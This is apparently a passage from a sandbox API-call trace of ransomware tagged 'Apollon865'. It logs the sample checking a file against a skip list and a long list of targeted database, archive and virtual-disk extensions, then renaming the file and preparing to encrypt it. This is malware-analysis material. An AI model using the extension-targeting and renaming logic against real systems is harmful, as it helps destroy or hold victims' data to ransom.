	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.609] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22
	[0078.609] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn") returned 52
	[0078.609] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.ONENOTE.14.1033.hxn" | out: lpString1="MS.ONENOTE.14.1033.hxn") returned="MS.ONENOTE.14.1033.hxn"
	[0078.609] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22
	[0078.609] lstrlenW (lpString="Apollon865") returned 10
	[0078.609] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.609] lstrlenW (lpString=".dll") returned 4
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".dll") returned 1
	[0078.609] lstrlenW (lpString=".lnk") returned 4
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.609] lstrlenW (lpString=".ini") returned 4
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".ini") returned 1
	[0078.609] lstrlenW (lpString=".sys") returned 4
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".sys") returned 1
	[0078.610] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22
	[0078.610] lstrlenW (lpString="bak") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.610] lstrlenW (lpString="ba_") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.610] lstrlenW (lpString="dbb") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.610] lstrlenW (lpString="vmdk") returned 4
	[0078.610] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.610] lstrlenW (lpString="rar") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.610] lstrlenW (lpString="zip") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.610] lstrlenW (lpString="tgz") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.610] lstrlenW (lpString="vbox") returned 4
	[0078.610] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.610] lstrlenW (lpString="vdi") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.610] lstrlenW (lpString="vhd") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.610] lstrlenW (lpString="vhdx") returned 4
	[0078.610] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.610] lstrlenW (lpString="avhd") returned 4
	[0078.610] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.610] lstrlenW (lpString="db") returned 2
	[0078.610] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.610] lstrlenW (lpString="db2") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.610] lstrlenW (lpString="db3") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.610] lstrlenW (lpString="dbf") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.610] lstrlenW (lpString="mdf") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.610] lstrlenW (lpString="mdb") returned 3
	[0078.610] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.611] lstrlenW (lpString="sql") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.611] lstrlenW (lpString="sqlite") returned 6
	[0078.611] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.611] lstrlenW (lpString="sqlite3") returned 7
	[0078.611] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.611] lstrlenW (lpString="sqlitedb") returned 8
	[0078.611] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.611] lstrlenW (lpString="xml") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.611] lstrlenW (lpString="$er") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.611] lstrlenW (lpString="4dd") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.611] lstrlenW (lpString="4dl") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.611] lstrlenW (lpString="^^^") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.611] lstrlenW (lpString="abs") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.611] lstrlenW (lpString="abx") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.611] lstrlenW (lpString="accdb") returned 5
	[0078.611] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.611] lstrlenW (lpString="accdc") returned 5
	[0078.611] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.611] lstrlenW (lpString="accde") returned 5
	[0078.611] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.611] lstrlenW (lpString="accdr") returned 5
	[0078.611] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.611] lstrlenW (lpString="accdt") returned 5
	[0078.611] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.611] lstrlenW (lpString="accdw") returned 5
	[0078.611] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.611] lstrlenW (lpString="accft") returned 5
	[0078.611] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.611] lstrlenW (lpString="adb") returned 3
	[0078.611] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.611] lstrlenW (lpString="adb") returned 3
	[0078.612] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.612] lstrlenW (lpString="ade") returned 3
	[0078.612] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.612] lstrlenW (lpString="adf") returned 3
	[0078.612] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.612] lstrlenW (lpString="adn") returned 3
	[0078.612] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.612] lstrlenW (lpString="adp") returned 3
	[0078.612] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.612] lstrlenW (lpString="alf") returned 3
	[0078.612] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.612] lstrlenW (lpString="ask") returned 3
	[0078.612] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.613] lstrlenW (lpString="btr") returned 3
	[0078.613] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.613] lstrlenW (lpString="cat") returned 3
	[0078.613] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.613] lstrlenW (lpString="cdb") returned 3
	[0078.613] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.613] lstrlenW (lpString="ckp") returned 3
	[0078.613] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.613] lstrlenW (lpString="cma") returned 3
	[0078.613] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.613] lstrlenW (lpString="cpd") returned 3
	[0078.613] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.613] lstrlenW (lpString="dacpac") returned 6
	[0078.613] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.613] lstrlenW (lpString="dad") returned 3
	[0078.613] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.613] lstrlenW (lpString="dadiagrams") returned 10
	[0078.613] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.613] lstrlenW (lpString="daschema") returned 8
	[0078.613] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.613] lstrlenW (lpString="db-journal") returned 10
	[0078.613] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.613] lstrlenW (lpString="db-shm") returned 6
	[0078.614] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.614] lstrlenW (lpString="db-wal") returned 6
	[0078.614] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.614] lstrlenW (lpString="dbc") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.614] lstrlenW (lpString="dbs") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.614] lstrlenW (lpString="dbt") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.614] lstrlenW (lpString="dbv") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.614] lstrlenW (lpString="dbx") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.614] lstrlenW (lpString="dcb") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.614] lstrlenW (lpString="dct") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.614] lstrlenW (lpString="dcx") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.614] lstrlenW (lpString="ddl") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.614] lstrlenW (lpString="dlis") returned 4
	[0078.614] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.614] lstrlenW (lpString="dp1") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.614] lstrlenW (lpString="dqy") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.614] lstrlenW (lpString="dsk") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.614] lstrlenW (lpString="dsn") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.614] lstrlenW (lpString="dtsx") returned 4
	[0078.614] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.614] lstrlenW (lpString="dxl") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.614] lstrlenW (lpString="eco") returned 3
	[0078.614] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.614] lstrlenW (lpString="ecx") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.615] lstrlenW (lpString="edb") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.615] lstrlenW (lpString="epim") returned 4
	[0078.615] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.615] lstrlenW (lpString="fcd") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.615] lstrlenW (lpString="fdb") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.615] lstrlenW (lpString="fic") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.615] lstrlenW (lpString="flexolibrary") returned 12
	[0078.615] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.615] lstrlenW (lpString="fm5") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.615] lstrlenW (lpString="fmp") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.615] lstrlenW (lpString="fmp12") returned 5
	[0078.615] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.615] lstrlenW (lpString="fmpsl") returned 5
	[0078.615] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.615] lstrlenW (lpString="fol") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.615] lstrlenW (lpString="fp3") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.615] lstrlenW (lpString="fp4") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.615] lstrlenW (lpString="fp5") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.615] lstrlenW (lpString="fp7") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.615] lstrlenW (lpString="fpt") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.615] lstrlenW (lpString="frm") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.615] lstrlenW (lpString="gdb") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.615] lstrlenW (lpString="gdb") returned 3
	[0078.615] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.616] lstrlenW (lpString="grdb") returned 4
	[0078.616] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.616] lstrlenW (lpString="gwi") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.616] lstrlenW (lpString="hdb") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.616] lstrlenW (lpString="his") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.616] lstrlenW (lpString="ib") returned 2
	[0078.616] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.616] lstrlenW (lpString="idb") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.616] lstrlenW (lpString="ihx") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.616] lstrlenW (lpString="itdb") returned 4
	[0078.616] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.616] lstrlenW (lpString="itw") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.616] lstrlenW (lpString="jet") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.616] lstrlenW (lpString="jtx") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.616] lstrlenW (lpString="kdb") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.616] lstrlenW (lpString="kexi") returned 4
	[0078.616] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.616] lstrlenW (lpString="kexic") returned 5
	[0078.616] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.616] lstrlenW (lpString="kexis") returned 5
	[0078.616] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.616] lstrlenW (lpString="lgc") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.616] lstrlenW (lpString="lwx") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.616] lstrlenW (lpString="maf") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.616] lstrlenW (lpString="maq") returned 3
	[0078.616] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.616] lstrlenW (lpString="mar") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.617] lstrlenW (lpString="marshal") returned 7
	[0078.617] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.617] lstrlenW (lpString="mas") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.617] lstrlenW (lpString="mav") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.617] lstrlenW (lpString="maw") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.617] lstrlenW (lpString="mdbhtml") returned 7
	[0078.617] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.617] lstrlenW (lpString="mdn") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.617] lstrlenW (lpString="mdt") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.617] lstrlenW (lpString="mfd") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.617] lstrlenW (lpString="mpd") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.617] lstrlenW (lpString="mrg") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.617] lstrlenW (lpString="mud") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.617] lstrlenW (lpString="mwb") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.617] lstrlenW (lpString="myd") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.617] lstrlenW (lpString="ndf") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.617] lstrlenW (lpString="nnt") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.617] lstrlenW (lpString="nrmlib") returned 6
	[0078.617] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.617] lstrlenW (lpString="ns2") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.617] lstrlenW (lpString="ns3") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.617] lstrlenW (lpString="ns4") returned 3
	[0078.617] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.618] lstrlenW (lpString="nsf") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.618] lstrlenW (lpString="nv") returned 2
	[0078.618] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.618] lstrlenW (lpString="nv2") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.618] lstrlenW (lpString="nwdb") returned 4
	[0078.618] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.618] lstrlenW (lpString="nyf") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.618] lstrlenW (lpString="odb") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.618] lstrlenW (lpString="odb") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.618] lstrlenW (lpString="oqy") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.618] lstrlenW (lpString="ora") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.618] lstrlenW (lpString="orx") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.618] lstrlenW (lpString="owc") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.618] lstrlenW (lpString="p96") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.618] lstrlenW (lpString="p97") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.618] lstrlenW (lpString="pan") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.618] lstrlenW (lpString="pdb") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.618] lstrlenW (lpString="pdm") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.618] lstrlenW (lpString="pnz") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.618] lstrlenW (lpString="qry") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.618] lstrlenW (lpString="qvd") returned 3
	[0078.618] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.618] lstrlenW (lpString="rbf") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.619] lstrlenW (lpString="rctd") returned 4
	[0078.619] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.619] lstrlenW (lpString="rod") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.619] lstrlenW (lpString="rodx") returned 4
	[0078.619] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.619] lstrlenW (lpString="rpd") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.619] lstrlenW (lpString="rsd") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.619] lstrlenW (lpString="sas7bdat") returned 8
	[0078.619] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.619] lstrlenW (lpString="sbf") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.619] lstrlenW (lpString="scx") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.619] lstrlenW (lpString="sdb") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.619] lstrlenW (lpString="sdc") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.619] lstrlenW (lpString="sdf") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.619] lstrlenW (lpString="sis") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.619] lstrlenW (lpString="spq") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.619] lstrlenW (lpString="te") returned 2
	[0078.619] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.619] lstrlenW (lpString="teacher") returned 7
	[0078.619] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.619] lstrlenW (lpString="tmd") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.619] lstrlenW (lpString="tps") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.619] lstrlenW (lpString="trc") returned 3
	[0078.619] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.619] lstrlenW (lpString="trc") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.620] lstrlenW (lpString="trm") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.620] lstrlenW (lpString="udb") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.620] lstrlenW (lpString="udl") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.620] lstrlenW (lpString="usr") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.620] lstrlenW (lpString="v12") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.620] lstrlenW (lpString="vis") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.620] lstrlenW (lpString="vpd") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.620] lstrlenW (lpString="vvv") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.620] lstrlenW (lpString="wdb") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.620] lstrlenW (lpString="wmdb") returned 4
	[0078.620] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.620] lstrlenW (lpString="wrk") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.620] lstrlenW (lpString="xdb") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.620] lstrlenW (lpString="xld") returned 3
	[0078.620] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.620] lstrlenW (lpString="xmlff") returned 5
	[0078.620] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.620] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.Apollon865") returned 67
	[0078.620] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.622] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.623] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=338) returned 1
	[0078.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.623] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.624] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.624] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.624] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.626] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.627] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.627] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.628] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
